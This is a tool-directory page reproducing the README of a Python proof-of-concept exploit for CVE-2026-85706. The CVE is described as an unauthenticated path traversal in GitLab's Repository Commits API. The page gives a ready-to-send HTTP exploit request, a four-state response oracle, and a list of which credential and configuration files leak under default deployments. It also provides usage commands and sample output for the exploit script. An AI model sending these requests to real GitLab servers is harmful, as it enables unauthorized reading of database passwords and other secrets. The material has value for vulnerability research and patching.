Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-85706 — Python PoC for CVE-2026-85706, an unauthenticated path traversal in GitLab CE/EE Repository Commits API that leaks arbitrary local files via a four-state oracle. | Kitploit
Tools/GitHubGitHub/mhtsec/cve-2026-85706
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration TestingRepository Deleted
GitHubmhtsec/cve-2026-85706

CVE-2026-85706

Python PoC for CVE-2026-85706, an unauthenticated path traversal in GitLab CE/EE Repository Commits API that leaks arbitrary local files via a four-state oracle.

134351 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
The upstream repository was not found during the latest Kitploit update check. This listing remains available for reference, but it has been removed from search results.

CVE-2026-85706: GitLab CE/EE Unauthenticated Path Traversal

  • CVE: CVE-2026-85706, CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
  • Component: GitLab CE/EE Repository Commits API (Workhorse body-upload variant)
  • Affected: 18.7 ≤ version < 19.1.8, 19.2.0–19.2.5, 19.3.0–19.3.1
  • Fixed: 19.1.8 / 19.2.6 / 19.3.2 (critical patch release 2026-09-10)
  • Impact: Path traversal to read arbitrary local files on the server without any account; whether the content is echoed back depends on the target file, forming a four-state oracle (see "Echo Boundaries")

Vulnerability Chain

GitLab's "create commit" API (POST /api/v4/projects/:id/repository/commits) allows a single request to carry a large amount of file content. To avoid oversized request bodies going directly into Rails parsing, Workhorse first writes the request body to a temporary file on disk, then injects metadata such as file.path / file.size into the forwarded request, and the Rails endpoint reads the file back according to these parameters. The vulnerability chain is the combination of four elements:

  1. Authentication happens after file read: The post ':id/repository/commits' entry point only has require_gitlab_workhorse! (which merely verifies "forwarded via Workhorse"); the actual authenticate! is hidden later in authorize_push_to_branch!, and the path traversal read occurs before it.
  2. On-disk metadata comes from request parameters: file_params_from_body_upload directly treats the request parameters file.path / file.size / Content-Type as Workhorse-injected metadata, without distinguishing the parameter source, so File.read(file_path) can traverse any local path.
  3. Rack parse error echo: When Content-Type=application/x-www-form-urlencoded, the file content is handed to Rack::Utils.parse_nested_query for parsing; an illegal %-sequence in the content triggers ArgumentError: invalid %-encoding (<component content>), which is echoed verbatim into the 400 response via bad_request!. The echo is first-come-first-served: & / = are component boundaries, parsing stops at the component containing the first illegal % and echoes that component; when there is no delimiter, the entire file is echoed as a single component (valid %xx hexadecimal escapes do not trigger the error).
  4. Trailing slash bypasses Workhorse rewriting: Hitting the main endpoint directly triggers Workhorse's body-upload interception (which strictly matches .../repository/commits\z), and the forged parameters get swallowed into the on-disk file content. Appending / to the end of the URL no longer matches that rule, falling into the fallback signed reverse proxy—the original request body along with the forged parameters is forwarded verbatim to Rails with a valid JWT, require_gitlab_workhorse! passes; after Grape normalizes the trailing slash, it still hits the vulnerable handler.

Prerequisite: The :id in the URL must be a real existing project (any public project will do), and no login is required throughout.

Exploit request (database.yml under an external DB deployment; when the password contains an illegal % sequence, the entire segment is echoed):

POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded

Response (the entire component containing the first illegal % is echoed):

{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n  adapter: postgresql\n  username: gitlab\n  password: \"P@ss%w0rd\" ...)"} 

Echo Boundaries (Four-State Oracle)

The read is performed as the git user of the Puma process, and the response forms a four-state oracle:

ResponseMeaningExample
400 local file not presentFile does not exist/etc/nonexistent
500 Internal Server ErrorExists but the git user lacks read permission (Errno::EACCES unhandled); parse errors on readable files in the multipart branch also fall into 500/etc/shadow, /etc/gitlab/gitlab-secrets.json
401 UnauthorizedExists and is readable, but the content has no illegal % sequence, so nothing is echoed/etc/passwd, /proc/self/environ
400 invalid %-encoding (<content>)Exists, is readable, and contains an illegal % sequence—the entire component is echoedLogs containing %, CI build artifacts, database.yml of an external DB

Actual readable scope under default deployment (tested):

  • The main battleground for content reads is files that naturally contain %: CI build logs and artifacts, user-uploaded attachments, database.yml of external DB deployments. Under the default local socket peer authentication, the password field in database.yml is empty; only external DB deployments have a value.
  • gitlab.yml: The rendered template comments already contain sequences such as 95%, %{key} near the top of the file (around line 19), while credential configurations (incoming_email, LDAP, object storage, etc.) are all after line 170—first-come-first-served means that under default deployment only the header segment can be echoed, and the credential segment cannot be read; it is only readable in deployment variants without interfering sequences (custom templates, etc.). Also note that the SMTP password (gitlab_rails['smtp_password']) is not rendered into gitlab.yml; what is actually rendered in are incoming_email, LDAP, and object_store credentials.
  • secrets.yml is pure hex without %, so its content cannot be read (401); gitlab.rb, TLS private keys, and backup archives are root-only (500 oracle only).
  • The four-state oracle itself is also a reconnaissance primitive: probing internal path structures, /proc/self/* process self-inspection, and converting project IDs to @hashed paths to probe for the existence of private projects.

Script Usage

Implemented with the Python 3 standard library, no third-party dependencies. The script automatically interprets the four-state results according to the table above.

python3 exploit.py -t http://<target>:<port>        # By default reads gitlab.yml (quick echo verification)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
ParameterDescription
-tTarget GitLab address (required), e.g. http://<target>:<port>
-fAbsolute path to read (default /var/opt/gitlab/gitlab-rails/etc/gitlab.yml)
-pProject ID, any real existing project will do (default 1)
-oSave the read content to a local file

Example output (reading gitlab.yml under default deployment—what is echoed is the header segment, not the credential segment):

============================================================
  CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------

For authorized security testing and vulnerability research only.